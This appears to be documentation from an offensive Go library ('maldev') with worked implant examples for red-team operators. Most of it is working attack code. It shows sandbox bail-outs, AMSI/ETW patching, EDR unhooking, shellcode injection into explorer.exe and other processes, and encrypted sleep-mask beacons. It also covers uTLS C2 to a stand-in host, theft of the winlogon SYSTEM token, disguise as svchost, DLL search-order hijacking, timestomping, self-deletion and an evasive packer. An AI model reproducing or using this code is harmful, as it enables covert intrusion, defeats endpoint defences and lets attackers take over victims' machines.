caller := wsyscall.New(wsyscall.MethodIndirectAsm, resolver).
WithHashFunc(hash.FNV1a32)
// 3. Evasion stack. Stealth = AMSI + ETW + selective ntdll unhook.
// Apply BEFORE any payload allocation (Aggressive would also
// flip ACG, blocking subsequent VirtualAlloc(EXECUTE)).
if err := evasion.ApplyAll(preset.Stealth(), caller); err != nil {
os.Exit(0)
}
// 4. Decrypt + execute under defer-wipe. UseDecrypted hands the
// plaintext to the closure, then crypto.Wipe()s the buffer
// via defer — runs even if the closure errors or panics.
_ = crypto.UseDecrypted(
func() ([]byte, error) {
return crypto.DecryptAESGCM(aesKey, encPayload)
},
func(shellcode []byte) error {
// 5. Self-inject through the same syscall stack the
// evasion layer uses. Build() returns an Injector;
// the windowsInjector implementation also satisfies
// SelfInjector so we can retrieve the (Addr, Size)
// region for the sleepmask hand-off.
inj, err := inject.Build().
Method(inject.MethodCreateThread).
IndirectSyscalls().
Resolver(resolver).
Create()
if err != nil {
return err
}
if err := inj.Inject(shellcode); err != nil {
return err
}
self, ok := inj.(inject.SelfInjector)
if !ok {
return nil // injector doesn't expose region; skip mask
}
region, ok := self.InjectedRegion()
if !ok {
return nil
}
// 6. Beacon loop with encrypted dormancy. Mask flips the
// region to PAGE_READWRITE, runs the cipher in place
// for the sleep duration, restores RX on wake.
mask := sleepmask.New(sleepmask.Region{
Addr: region.Addr,
Size: region.Size,
})
ctx := context.Background()
for {
_ = mask.Sleep(ctx, 30*time.Second)
}
},
)
}
What This Example Demonstrates
| Step | Primitive | Why |
|---|---|---|
| Sandbox bail | antivm.Hypervisor() | CPUID-bit + RDTSC timing — irreducible by registry / DMI rewrites |
| Caller | MethodIndirectAsm + NewHashGateWith(FNV1a32) | All NT calls bypass user-mode hooks; no plaintext API names; non-ROR13 fingerprint |
| Evasion | preset.Stealth() | One slice = AMSI + ETW + selective unhook |
| Decrypt | UseDecrypted + EncryptAESGCM | AEAD at rest, defer-wiped plaintext at runtime |
| Self-inject | inject.Build().…BuildSelf() + SelfInject | Fluent builder; returns InjectedRegion for downstream hand-off |
| Sleep mask | sleepmask.Mask.Sleep on the InjectedRegion | Region is encrypted while idle; defeats memory scanners between beacons |
Build
# Pre-compute the FNV-1a constants for your imports so the binary
# carries no plaintext API names AND no ROR13-fingerprintable hashes.
go run ./cmd/hashgen -algo fnv1a32 -package main \
-o internal/apihashes.go \
NtAllocateVirtualMemory NtProtectVirtualMemory NtCreateThreadEx
# OPSEC release build (strip + UPX-morph + masquerade).
make release BINARY=implant.exe CMD=.
Hardening dials
- Swap
preset.Stealth()→preset.Hardened()to add CET opt-out (required for APC-delivered shellcode on Win11+CET hosts) without the irreversible ACG / BlockDLLs ofAggressive. - Swap
MethodCreateThread→MethodIndirectAsm-routedMethodEarlyBirdAPCfor a quieter execution primitive on Win10/11 (suspended child + APC inject, noCreateRemoteThreadevent). - Replace
crypto.DecryptAESGCM+ bytes payload withcrypto.NewAESGCMReaderover anio.Readerfor multi-MB payloads — bounded peak memory + per-frame tampering detection.
See also
- Evasive injection example — CET prefix + callback execution.
- Full chain example — payload encrypt → masquerade → inject → preset → sleepmask → cleanup.
- Operator path — the recommended reading order for red-team operators.
Example: Evasive Remote Injection
Inject shellcode into a target process from a hardened context: the
implant clears EDR hardware breakpoints, applies the canonical evasion
preset through indirect-asm syscalls, opts out of CET when possible
(falling back to ENDBR64-prefixing the shellcode otherwise), then
delivers via inject.Build(...) with MethodCallbackEnumWindows
fall-through to MethodSectionMap for the loud cases.
What changed since the v0.16-era version of this example:
evasion/preset.Stealth()+cet.CETOptOut()— three hand-listed techniques became one slice. CETOptOut relaxesProcessUserShadowStackPolicywhen allowed, otherwise the next layer prefixes the shellcode with ENDBR64.cet.Wrap(sc)belt-and-suspenders — even whencet.Disablesucceeds, we wrap. Wrap is idempotent and a no-op when the marker is already present, so it costs nothing on bare metal and saves the process when CET enforcement turns out to be stricter than we expected (Win11 24H2+ Hyper-V hosts in particular).inject.ExecuteCallbackBytes+inject.MethodEnforcesCET— the modern callback path auto-Wraps when the choseninject.CallbackMethodenforces CET (Wait callbacks + NtNotifyChangeDirectory's APC dispatcher are the strict ones). One call instead of manual alloc + protect + execute.recon/antivm.Hypervisor()sandbox-bail — single CPUID + RDTSC probe. Cannot be evaded by registry / DMI / file rewrites; the hypervisor itself sets the bit.MethodIndirectAsm+ customHashFunc— same NT-call seam asbasic-implant.md. No writable stub page, no per-callVirtualProtect, non-ROR13 module-name hash to defeat static fingerprints.evasion/stealthopen.MultiStealth— drop-in*Standardreplacement for any consumer that opens files. Per-path lazy ObjectID capture + cache; the path-based file hook fires once per unique file, then never. The bundledpreset.Stealth()doesn't carry an opener seam yet (theTechniqueinterface passes only theCaller), so callers wanting MultiStealth here must bypass the preset and wireunhook.FullUnhook(caller, &MultiStealth{})directly — see the "MultiStealth-aware variant" below.
flowchart TD
A[Start] --> B{Hypervisor.LikelyVM?}
B -->|yes| Z[Exit silently]
B -->|no| C[hwbp.ClearAll<br>defeat DR-register monitoring]
C --> D[Caller: IndirectAsm + FNV-1a HashGate]
D --> E[preset.Stealth + CETOptOut<br>via Caller + MultiStealth]
E --> F[UseDecrypted → AES-GCM<br>plaintext defer-wiped]
F --> G{cet.Enforced?}
G -->|yes| H[cet.Wrap shellcode]
G -->|no| I[Skip wrap]
H --> J[ExecuteCallbackBytes<br>EnumWindows / RtlRegisterWait]
I --> J
Code — self-process callback execution (zero new thread)
package main
import (
"os"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/cet"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/hash"
"github.com/oioio-space/maldev/inject"
"github.com/oioio-space/maldev/recon/antivm"
"github.com/oioio-space/maldev/recon/hwbp"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
// AES-GCM ciphertext + key. Replace with your build pipeline's output.
var (
ciphertext = []byte{ /* … */ }
key = []byte{ /* 32-byte AES-256 key */ }
)
func main() {
// 1. Bail on any VM/sandbox before paying any other cost.
if antivm.Hypervisor().LikelyVM {
os.Exit(0)
}
// 2. Wipe EDR hardware breakpoints. CrowdStrike / S1 set HWBPs
// on Nt* prologues that survive the inline-unhook pass.
_, _ = hwbp.ClearAll()
// 3. Indirect-asm syscalls + non-ROR13 module-name hash. The
// custom hash defeats static fingerprints on the well-known
// ROR13 ntdll constant 0x411677B7.
caller := wsyscall.New(
wsyscall.MethodIndirectAsm,
wsyscall.NewHashGateWith(hash.FNV1a32),
).WithHashFunc(hash.FNV1a32)
// 4. Apply Stealth + CET opt-out. The bundled preset doesn't
// accept a stealthopen.Opener (the Technique interface
// receives only a Caller); the unhook step inside reads
// ntdll.dll via the default *Standard opener. See the
// "MultiStealth-aware variant" below for the per-file
// Object-ID hook-bypass path.
techniques := append(preset.Stealth(), preset.CETOptOut())
if errs := evasion.ApplyAll(techniques, caller); len(errs) != 0 {
os.Exit(1)
}
// 5. Decrypt with defer-wipe of the plaintext.
err := crypto.UseDecrypted(
func() ([]byte, error) {
return crypto.DecryptAESGCM(key, ciphertext)
},
func(plaintext []byte) error {
// 6. Belt-and-suspenders CET prefix. cet.Wrap is
// idempotent — no-op when the marker is already
// present, so it costs nothing on bare metal and
// saves us if Disable misjudged the host's policy.
sc := cet.Wrap(plaintext)
// 7. ExecuteCallbackBytes auto-Wraps internally for
// methods that enforce CET (RtlRegisterWait,
// NtNotifyChangeDirectory). EnumWindows runs on the
// calling thread and is CET-clean; we still pre-Wrap
// above so Wait/APC fall-throughs work without code
// changes.
return inject.ExecuteCallbackBytes(sc, inject.CallbackEnumWindows)
},
)
if err != nil {
os.Exit(1)
}
}
MultiStealth-aware variant — explicit unhook with Object-ID open
The bundled preset.Stealth() invokes unhook.Full().Apply(caller)
internally, which routes through the default *Standard opener
(plain os.Open on ntdll.dll). When the operator wants the
path-based file hook to fire only once per unique file across the
implant's lifetime, drop the preset and wire MultiStealth into the
unhook calls directly:
import (
"github.com/oioio-space/maldev/evasion/amsi"
"github.com/oioio-space/maldev/evasion/cet"
"github.com/oioio-space/maldev/evasion/etw"
"github.com/oioio-space/maldev/evasion/stealthopen"
"github.com/oioio-space/maldev/evasion/unhook"
)
opener := &stealthopen.MultiStealth{} // reusable, zero-config
// AMSI + ETW patches don't read files; safe to apply through the
// preset path with no opener concern.
_ = amsi.PatchAll(caller)
_ = etw.PatchAll(caller)
// Unhook reads ntdll.dll repeatedly (one read per *Classic call,
// plus one read for FullUnhook). Wire MultiStealth so the path
// hook only fires for the FIRST read; every subsequent read of
// the same path routes through OpenByID and bypasses the hook.
if err := unhook.FullUnhook(caller, opener); err != nil { /* … */ }
// Optional: relax CET if the host policy allows.
_ = cet.Disable() // no-op on hosts without CET enforcement
Operators can keep the preset for the AMSI+ETW half and replace just the unhook step:
techniques := append([]evasion.Technique{},
amsi.All(), // == preset.Minimal()'s AMSI bit
etw.All(), // == preset.Minimal()'s ETW bit
preset.CETOptOut(),
)
_ = evasion.ApplyAll(techniques, caller)
_ = unhook.FullUnhook(caller, opener) // separate so the opener flows through
Alternative — cross-process delivery via Build + decorator chain
// When the target is another process, the Build() fluent API
// composes method + syscall mode + middleware in one chain.
// CET concerns are out of scope here — the shellcode runs in the
// target's CET regime, decided by the target's manifest.
inj, err := inject.Build().
Method(inject.MethodCreateRemoteThread).
TargetPID(targetPID). // from process/enum.FindByName
IndirectSyscalls(). // matches the standalone caller above
Use(inject.WithValidation). // size + entropy preflight
Use(inject.WithXORKey(0xA5)). // XOR the in-flight shellcode
WithFallback(). // try sibling methods on err
Create()
if err != nil { /* … */ }
if err := inj.Inject(shellcode); err != nil { /* … */ }
MethodSectionMap and friends aren't part of the builder's
fallback graph today — call them directly:
// SectionMap: cross-process via NtCreateSection + NtMapViewOfSection.
// No WriteProcessMemory, no per-byte page touch.
_ = inject.SectionMapInject(targetPID, shellcode, caller)
// PhantomDLL: map a clean System32 DLL into the target, overwrite
// its .text. The Opener parameter routes the system DLL read
// through MultiStealth so the path-based file hook fires once.
_ = inject.PhantomDLLInject(targetPID, "amsi.dll", shellcode, opener)
// ModuleStomp: same idea, own-process. Returns the planted address;
// follow up with ExecuteCallbackBytes or a direct call.
addr, _ := inject.ModuleStomp("msftedit.dll", shellcode)
_ = addr
Choosing the callback method
inject.MethodEnforcesCET(method) bool answers whether the chosen
CallbackMethod runs through a CET-enforced dispatcher. Use it to
gate Wrap / Disable decisions when the operator has runtime choice
of method:
m := inject.CallbackRtlRegisterWait // or any other CallbackMethod
if inject.MethodEnforcesCET(m) && cet.Enforced() {
sc = cet.Wrap(sc) // mandatory or process dies with 0xC000070A
}
_ = inject.ExecuteCallbackBytes(sc, m)
ExecuteCallbackBytes does the same check internally — the manual
form above is for callers that want to inspect the decision.
Technique comparison
| Technique | WriteProcessMemory | New thread | File-backed | CET-sensitive | Detection |
|---|---|---|---|---|---|
MethodCreateRemoteThread | yes | yes | no | dispatcher-dependent | high |
MethodSectionMap | no | yes | no | dispatcher-dependent | medium |
MethodModuleStomp | yes (own) | no (self) | yes | no | low |
CallbackEnumWindows | no (self) | no | no | no | low |
CallbackRtlRegisterWait | no (self) | yes (pool) | no | yes (Wait) | low |
CallbackNtNotifyChangeDirectory | no (self) | yes (APC) | no | yes (APC) | low |
MethodThreadPool | no (self) | no | no | dispatcher-dependent | low |
MethodPhantomDLL | yes | yes | yes | no | medium |
CET-sensitive paths require either cet.Disable() to relax the
policy at start-up (process-global; one-way) OR cet.Wrap() to
prefix the shellcode with F3 0F 1E FA (per-payload; idempotent).
ExecuteCallbackBytes picks the right behaviour by default.
See also
docs/techniques/evasion/preset.md— the four bundled tiers (Minimal / Stealth / Hardened / Aggressive).docs/techniques/evasion/cet.md— Marker / Wrap / Disable / Enforced API.docs/techniques/injection/callback-execution.md— per-callback-method detection profile.docs/examples/basic-implant.md— same hardening, self-inject CreateThread variant.docs/examples/full-chain.md— pipeline example: encrypt → masquerade → inject → preset → sleepmask → cleanup.
Example: Full Attack Chain
End-to-end implant lifecycle: build-time identity laundering →
sandbox-bail → preset evasion → indirect-asm cross-process inject →
sleep-mask beacon loop → on-demand cleanup. The shape mirrors the
two sibling examples (basic-implant.md, evasive-injection.md)
so a reader who follows them in order sees one stack composed three
ways.
What changed since the v0.16-era version of this example:
- Build-time identity via
pe/masqueradeinstead of nothing — the binary inherits svchost.exe's VERSIONINFO + manifest + icons at link time, sope/striponly has to scrub Go-toolchain artefacts after the fact. MakesT1036.005pull its weight before any runtime cost is paid. antivm.Hypervisor()+recon/sandboxtwo-tier bail — single CPUID/RDTSC probe up front (cheap, unfakeable), full multi-dimension sandbox check second (slower, can be tuned by the operator). Earlier example only hadantivm.Detect+IsSandboxedwith no priority order.preset.Stealth() + CETOptOut()instead of hand-listed AMSI/ETW/Unhook — same techniques, one slice. Aggressive callers can swap topreset.Hardened()(drops ACG/BlockDLLs to keep injection paths open) orpreset.Aggressive()(everything one-way, after final allocation).MethodIndirectAsm+ customHashFunc— same NT-call seam as the sibling examples. Defeats both inline-hook and ROR13-static- fingerprint detection in one swap.sleepmask.Mask.SleepEkko strategy — encrypts the implant's RX region across beacon naps so a memory scanner timed against the dormant window finds AES ciphertext, not shellcode bytes. Earlier example just opened a uTLS socket and exited; this one shows a real beacon loop.- Cleanup kept but reordered:
SecureZeroruns immediately after the consumer is done with each buffer (not at the end);timestomp.SetFullhappens once at end-of-mission.
flowchart TD
BT["BUILD TIME<br/>masquerade.Build to .syso"] --> RT[RUNTIME]
RT --> A{Hypervisor?}
A -->|yes| Z[Exit silently]
A -->|no| B{IsSandboxed?}
B -->|yes| Z
B -->|no| C[hwbp.ClearAll]
C --> D[Caller: IndirectAsm + FNV-1a]
D --> E[preset.Stealth + CETOptOut]
E --> F["Decrypt → Cross-process inject<br/>via SectionMap"]
F --> G[Wipe local shellcode buffer]
G --> H[Beacon loop]
H --> I["sleepmask.Sleep<br/>Ekko strategy"]
I --> J{Beacon work due?}
J -->|yes| K[Do C2 work]
J -->|no| I
K --> H
H -->|exit signal| L[Cleanup: timestomp + selfdelete]
Build-time step (run once, then commit the .syso)
//go:build ignore
// +build ignore
// cmd/masquerade-bake/main.go — run via `go generate ./...` or in CI
// to emit a `resource.syso` next to main.go before `go build`.
package main
import "github.com/oioio-space/maldev/pe/masquerade"
func main() {
if err := masquerade.Build(
"resource.syso",
masquerade.AMD64,
masquerade.AsInvoker,
masquerade.WithSourcePE(`C:\Windows\System32\svchost.exe`),
); err != nil {
panic(err)
}
}
The go build step picks up the .syso automatically. The
resulting binary's VERSIONINFO / manifest / icons match svchost —
file-properties dialogs and naive allowlists accept it as a Windows
service host.
Runtime — the implant proper
package main
import (
"context"
"log"
"os"
"time"
"github.com/oioio-space/maldev/c2/transport"
"github.com/oioio-space/maldev/cleanup/memory"
"github.com/oioio-space/maldev/cleanup/selfdelete"
"github.com/oioio-space/maldev/cleanup/timestomp"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/evasion/sleepmask"
"github.com/oioio-space/maldev/hash"
"github.com/oioio-space/maldev/inject"
"github.com/oioio-space/maldev/process/enum"
"github.com/oioio-space/maldev/recon/antivm"
"github.com/oioio-space/maldev/recon/hwbp"
"github.com/oioio-space/maldev/recon/sandbox"
"github.com/oioio-space/maldev/win/token"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
var (
encShellcode = []byte{ /* AES-256-GCM ciphertext from build */ }
aesKey = []byte{ /* 32-byte key from build */ }
)
func main() {
// ── Phase 1: Recon ─────────────────────────────────────────
// Two-tier bail: cheap CPUID/RDTSC first, full sandbox check
// second.
if antivm.Hypervisor().LikelyVM {
os.Exit(0)
}
checker := sandbox.New(sandbox.DefaultConfig())
if hit, _, _ := checker.IsSandboxed(context.Background()); hit {
os.Exit(0)
}
// ── Phase 2: Evasion ───────────────────────────────────────
_, _ = hwbp.ClearAll() // wipe EDR DR0-DR3 hardware breakpoints
caller := wsyscall.New(
wsyscall.MethodIndirectAsm,
wsyscall.NewHashGateWith(hash.FNV1a32),
).WithHashFunc(hash.FNV1a32)
techniques := append(preset.Stealth(), preset.CETOptOut())
_ = evasion.ApplyAll(techniques, caller)
// ── Phase 3: Inject ────────────────────────────────────────
var planted struct {
addr uintptr
size uintptr
}
err := crypto.UseDecrypted(
func() ([]byte, error) {
return crypto.DecryptAESGCM(aesKey, encShellcode)
},
func(sc []byte) error {
// Find target. explorer.exe is the canonical "always
// there, runs as the user" pivot for cross-session
// implants; pick something more specific in practice.
procs, err := enum.FindByName("explorer.exe")
if err != nil || len(procs) == 0 {
return os.ErrNotExist
}
pid := int(procs[0].PID)
// SectionMap: NtCreateSection + NtMapViewOfSection
// cross-process. No WriteProcessMemory call — section
// mapping is a different EDR signal class than the
// classic write-then-CreateRemoteThread pattern.
if err := inject.SectionMapInject(pid, sc, caller); err != nil {
return err
}
// For the demo: assume the section was planted at the
// first VirtualAllocEx-like address. Real callers track
// the address through the inject.SelfInjector
// InjectedRegion result — out of scope here since we're
// cross-process.
planted.addr = 0
planted.size = uintptr(len(sc))
return nil
},
)
if err != nil {
log.Fatalf("inject: %v", err)
}
// crypto.UseDecrypted defer-wiped the plaintext shellcode.
// ── Phase 4: Beacon loop with sleep-mask ──────────────────
//
// For an own-process implant the SelfInjector's InjectedRegion
// would feed straight into mask.New(...). The cross-process
// case needs a sibling RemoteMask (evasion/sleepmask) — out of
// scope here. The own-process snippet:
//
// region := sleepmask.Region{Addr: planted.addr, Size: planted.size}
// mask := sleepmask.New(region).
// WithCipher(sleepmask.NewAESCTRCipher()).
// WithStrategy(&sleepmask.EkkoStrategy{})
//
// for { _ = mask.Sleep(ctx, 60*time.Second); doC2Work() }
// ── Phase 5: C2 (uTLS Chrome JA3) ─────────────────────────
c2 := transport.NewUTLS(
"c2.example.com:443",
30*time.Second,
transport.WithJA3Profile(transport.JA3Chrome),
transport.WithSNI("api.example.com"),
)
if err := c2.Connect(context.Background()); err != nil {
log.Fatalf("c2 connect: %v", err)
}
defer c2.Close()
// ── Phase 6: Post-exploitation ────────────────────────────
// Steal SYSTEM token from winlogon (requires SeDebugPrivilege —
// already enabled if the implant is admin).
tok, err := token.StealByName("winlogon.exe")
if err == nil {
defer tok.Close()
_ = tok.EnableAllPrivileges()
// Use tok with windows.CreateProcessAsUser /
// win/impersonate.ImpersonateToken for elevated work.
}
// ── Phase 7: Cleanup ──────────────────────────────────────
// Clone the timestamps of a benign neighbour so the dropped
// implant blends with the directory it was unpacked into.
now := time.Now().Add(-30 * 24 * time.Hour)
_ = timestomp.SetFull(os.Args[0], now, now, now)
// Self-delete the running EXE via the NTFS-rename trick.
// The mapped image stays valid in process memory, so the
// current goroutine keeps running; the file vanishes from disk.
_ = selfdelete.Run()
// Final beacon-loop placeholder — replace with the real
// mask.Sleep loop once you wire the cross-process
// RemoteMask (out of scope above).
select {}
}
// memSecureZero is shown here for reference even though
// crypto.UseDecrypted handles plaintext wipe automatically:
// memory.SecureZero(buf)
// Use it directly when you allocate sensitive buffers outside the
// UseDecrypted scope.
var _ = memory.SecureZero // silence "imported and not used"
Phase-by-phase summary
| Phase | What | MITRE | Why now |
|---|---|---|---|
| 0 (build) | pe/masquerade clones svchost identity into .syso | T1036.005 | Cheapest moment to fake VERSIONINFO + manifest |
| 1 (recon) | Hypervisor() → IsSandboxed two-tier bail | T1497 | Cheap probe first, expensive second |
| 2 (evasion) | hwbp.ClearAll, preset.Stealth + CETOptOut via MethodIndirectAsm | T1562 | Blind the host before any payload move |
| 3 (inject) | crypto.UseDecrypted + inject.SectionMapInject cross-process | T1055 | Defer-wipe + no-WriteProcessMemory |
| 4 (sleep) | sleepmask.Mask.Sleep Ekko strategy | T1027 | Encrypted RX between beacons |
| 5 (C2) | c2/transport.NewUTLS Chrome JA3 + SNI | T1573 | Blends with browser TLS fingerprint |
| 6 (post-ex) | token.StealByName("winlogon.exe") + EnableAllPrivileges | T1134 | SYSTEM token for elevated pivots |
| 7 (cleanup) | timestomp.SetFull + selfdelete.Run | T1070 | Disk + metadata scrub before exit |
OPSEC layers active
graph LR
subgraph "Build"
B1[masquerade.Build .syso]
B2[pe/strip Go-toolchain artefacts]
B3[hashgen pre-computed FNV-1a constants]
end
subgraph "Runtime — Code"
R1[MethodIndirectAsm syscalls]
R2["ResolveByHash (FNV-1a, not ROR13)"]
R3[hwbp.ClearAll]
R4[preset.Stealth + CETOptOut]
end
subgraph "Runtime — Memory"
M1[crypto.UseDecrypted defer-wipe]
M2[sleepmask.Sleep encrypted RX]
M3[memory.SecureZero on demand]
end
subgraph "Runtime — Network"
N1[uTLS Chrome JA3]
N2[SNI alignment]
N3[mTLS / cert pin]
end
subgraph "Cleanup"
C1[timestomp.SetFull]
C2[selfdelete.Run]
end
Hardening dials
Three swap-points an operator can flip without restructuring the implant:
preset.Stealth()→preset.Hardened()for Win11 + CET hosts where APC delivery breaks without the explicit opt-out.MethodIndirectAsm→MethodIndirectif you're targeting Win11 ARM64 (the asm stub is amd64-only).sleepmask.NewAESCTRCipher()→sleepmask.NewRC4Cipher()for hosts without AES-NI — RC4 is ~2× slower per byte but carries no hardware dependency.
See also
docs/examples/basic-implant.md— same hardening, self-injectCreateThreadvariant.docs/examples/evasive-injection.md— same hardening, callback / cross-process injection focus.docs/techniques/evasion/preset.md— the four bundled tiers.docs/techniques/evasion/sleep-mask.md— Mask / RemoteMask + cipher / strategy combinations.docs/techniques/pe/masquerade.md—.sysobuild pipeline + Extract / Build / Clone API.
Example: DLL-Proxy Side-Load
End-to-end DLL search-order hijack: discover where a victim
binary loads a DLL from a user-writable path before reaching
System32, generate a forwarder DLL that re-exports every symbol
to the real target while running an extra payload on
DLL_PROCESS_ATTACH, drop it next to the victim, and let the
victim launch.
The flow chains four packages — recon/dllhijack for discovery,
pe/parse for export enumeration, pe/dllproxy for emit, and
the operator's chosen file-write primitive (often
evasion/stealthopen.MultiStealth) for deployment.
flowchart TD
A[recon/dllhijack.ScanAll] --> B[Rank by Score<br>AutoElevate, IntegrityGain, Service]
B --> C[Pick top Opportunity]
C --> D[pe/parse.File.ExportEntries<br>read victim DLL exports]
D --> E[pe/dllproxy.GenerateExt<br>emit forwarder PE]
E --> F[Drop bytes at<br>Opportunity.HijackedPath]
F --> G[Trigger victim launch<br>service start / scheduled task / login]
G --> H[Victim loads our DLL first]
H --> I[DllMain runs<br>LoadLibraryA payload.dll]
I --> J[Forwarder re-exports to real target]
J --> K[Victim continues normally]
Discovery — find the best opportunity
import (
"fmt"
"log"
"github.com/oioio-space/maldev/recon/dllhijack"
)
opps, err := dllhijack.ScanAll() // services + processes + tasks + auto-elevate
if err != nil {
log.Fatal(err)
}
ranked := dllhijack.Rank(opps) // sort: AutoElevate > IntegrityGain > Service > …
if len(ranked) == 0 {
log.Fatal("no hijack opportunities discovered")
}
best := ranked[0]
fmt.Printf("[+] target=%s dll=%s drop=%s score=%d auto=%t\n",
best.BinaryPath, best.HijackedDLL, best.HijackedPath,
best.Score, best.AutoElevate)
Output on a default Win11 box typically surfaces a handful of
high-value hits (fodhelper.exe, sdclt.exe,
wlrmdr.exe — all AutoElevate=true) and dozens of
medium-value ones (third-party services with side-load-prone
dependency loads).
Emit — generate the forwarder DLL
import (
"github.com/oioio-space/maldev/pe/dllproxy"
"github.com/oioio-space/maldev/pe/parse"
)
// Read the export list from the REAL target — the DLL the victim
// would load if our proxy weren't there. We need every named
// export so the loader resolves symbol references through our
// proxy's forwarders without "entry point not found" failures.
realDLL, err := parse.OpenFile(best.ResolvedDLL) // e.g. C:\Windows\System32\version.dll
if err != nil {
log.Fatal(err)
}
defer realDLL.Close()
exports, err := realDLL.ExportEntries() // names + ordinals + forwarders
if err != nil {
log.Fatal(err)
}
// Emit the forwarder PE. Zero-value Options is fine for the
// happy path; toggle DOSStub + PatchCheckSum to defeat
// fingerprint-by-absence and ImageHlp-style sanity checks.
proxyBytes, err := dllproxy.GenerateExt(
best.HijackedDLL, // e.g. "version.dll" — must match what the
// victim asks for in its IAT
exports,
dllproxy.Options{
Machine: dllproxy.MachineAMD64,
PathScheme: dllproxy.PathSchemeGlobalRoot,
PayloadDLL: `C:\ProgramData\evil.dll`, // dropped earlier
DOSStub: true, // canonical "DOS mode" stub
PatchCheckSum: true, // ImageHlp accepts the file
},
)
if err != nil {
log.Fatal(err)
}
The forwarder's runtime contract:
- The Windows loader maps our proxy because it appears in the victim's search order before System32.
DllMainfires withDLL_PROCESS_ATTACH. The 32-byte stubLoadLibraryA(PayloadDLL)runs — that's where the operator's own DLL gets hosted in the victim process.- Every named export resolves through a
\\.\GLOBALROOT\…forwarder back to the real System32 DLL — no symbol is ever "not found", and no recursion (the absolute path bypasses the search order). - The victim continues as if the real DLL had loaded. From the victim's POV nothing changed except a side-loaded extra DLL.
Deploy — drop the proxy at the target path
import (
"os"
"github.com/oioio-space/maldev/cleanup/timestomp"
"github.com/oioio-space/maldev/evasion/stealthopen"
)
// Path-based EDR file hooks see the CreateFile here. Route
// through a stealthopen.Creator (or `stealthopen.WriteAll`) when
// you want operator-controlled write semantics; plain os.WriteFile
// is fine for the canonical drop — defenders watching for new
// DLLs in service / auto-elevate parents already have signal
// regardless of the API.
if err := stealthopen.WriteAll(nil, best.HijackedPath, proxyBytes); err != nil {
log.Fatal(err)
}
// Clone the timestamps of the legitimate System32 DLL so the
// dropped proxy blends with the directory listing — defeats
// "newest file in dir" forensic heuristics.
_ = timestomp.CopyFrom(best.ResolvedDLL, best.HijackedPath)
_ = os.Args // silence unused-import in this snippet
Validate — confirm the hijack fires before going loud
dllhijack.Validate drops a canary DLL (a tiny payload that
writes a marker file when loaded), triggers the victim, polls
for the marker, and cleans up. Use it to confirm the
opportunity is real before dropping the actual implant DLL:
canary := buildCanaryDLL(best.HijackedDLL) // small DLL that touches a marker file
result, err := dllhijack.Validate(best, canary, dllhijack.ValidateOpts{
MarkerDir: `C:\Users\Public`,
Timeout: 30 * time.Second,
})
if err != nil {
log.Fatalf("validate: %v", err)
}
if !result.Confirmed {
log.Fatalf("canary did not fire — opportunity is not real (errors: %v)", result.Errors)
}
log.Printf("canary fired in %s — proceeding with real proxy",
result.ConfirmedAt.Sub(result.TriggerAt))
Trigger — launch the victim
The trigger depends on Opportunity.Kind:
| Kind | Trigger |
|---|---|
KindService | sc start <Opportunity.ID> (or windows/svc/mgr.Service.Start()) |
KindAutoElevate | spawn the executable at BinaryPath (UAC silently elevates) |
KindScheduledTask | schtasks /run /tn <Opportunity.ID> (or COM ITaskService) |
KindProcess | wait for the running process to next reload the DLL — typically a logoff/logon cycle for shell extensions, or a service restart |
For KindAutoElevate, the elevated child process inherits no
arguments from us by default; the side-loaded payload runs
inside the auto-elevated victim, so privilege gain happens for
free.
Limitations
KnownDLLsare excluded from hijack candidates. Files registered underHKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDllsare early-load-mapped from\KnownDlls\and bypass the search order entirely.dllhijack.ScanAllfilters these automatically.- Same-architecture only. A 64-bit victim won't load a 32-bit
proxy. Use
dllproxy.Options{Machine: dllproxy.MachineI386}to emit a PE32 proxy for WOW64 targets. - Forwarder text length is bounded. The
\\.\GLOBALROOT\SystemRoot\System32\<target>.<export>string must fit inMAX_PATH(260) per export. Targets with extreme symbol-name lengths may fail emission — fall back toPathSchemeSystem32(shorter prefix, slightly louder against per-process DLL-load monitors). - Code signing. Some auto-elevate binaries gate on the loaded
DLL's signature in modern builds. Pair with
pe/cert.Write+ a stolen cert chain when the victim's manifest declaresrequireAdministratorAND the trusted-loader policy is on (rare but rising). - Timestamps + filename. The proxy must be named EXACTLY what
the victim asks for (case-insensitive on NTFS, but be careful
on case-sensitive filesystems shared via NFS). Mismatched mtimes
vs. the surrounding directory are a forensic indicator —
cleanup/timestomp.SetFullclones MAC times from the real System32 copy. KindProcessopportunities are not always reachable. A dependency that's already loaded won't reload because we dropped a new file. Confirm reachability by either restarting the process (loud) or finding a differentKindopportunity for the same DLL.
See also
docs/techniques/recon/dll-hijack.md— discovery API, scoring, validation primitives.do../techniques/pe/dll-proxy.md— pure-Go forwarder emitter (PE32 + PE32+, perfect-proxy semantics).docs/techniques/pe/imports.md—pe/parse.ExportEntriesfor the named-exports list (handles ordinal-only exports such asmsvcrt).docs/examples/full-chain.md— full implant lifecycle with cross-process inject + masquerade + sleepmask.
Worked example — UPX-style packer + cover layer
Goal
Take a compiled Go static-PIE Linux ELF (or Windows PE32+),
produce a single self-contained binary the kernel loads
normally but whose .text is encrypted at rest. Optionally
chain a static-analysis cover layer that inflates the binary
with junk sections of mixed entropy.
This is the v0.61.0 ship of pe/packer.PackBinary. It
replaces the broken v0.59.0 / v0.60.0 architecture (host
wrapper + stage 2 Go EXE); see
[.dev/refactor-2026/KNOWN-ISSUES-1e.md][kn] for the
post-mortem.
What's in the chain
flowchart LR
A[input PE/ELF] --> B[PackBinary<br/>SGN-encrypt .text<br/>append CALL+POP+ADD stub<br/>rewrite OEP]
B --> C{format?}
C -->|PE32+| D[AddCoverPE<br/>append junk MEM_READ sections]
C -->|ELF64| E[AddCoverELF<br/>append junk PT_LOAD R-only]
D --> F[output]
E --> F
Three layers, all pure-Go, no cgo, no external tools:
PackBinary— encrypts the input's.textwith the SGN polymorphic encoder, appends a small CALL+POP+ADD-prologue decoder stub as a new section, rewrites the entry point. Output is single-binary; the kernel handles loading.ApplyDefaultCover— auto-detects PE vs ELF and appends 3 junk sections (mixed Random / Pattern / Zero fill) with randomized legit-looking names. Defeats fingerprint matchers that rely on exact section count + offset.- (Optional) further
AddCoverPE/AddCoverELFcalls with operator-suppliedCoverOptionsfor fine-grained cover tuning.
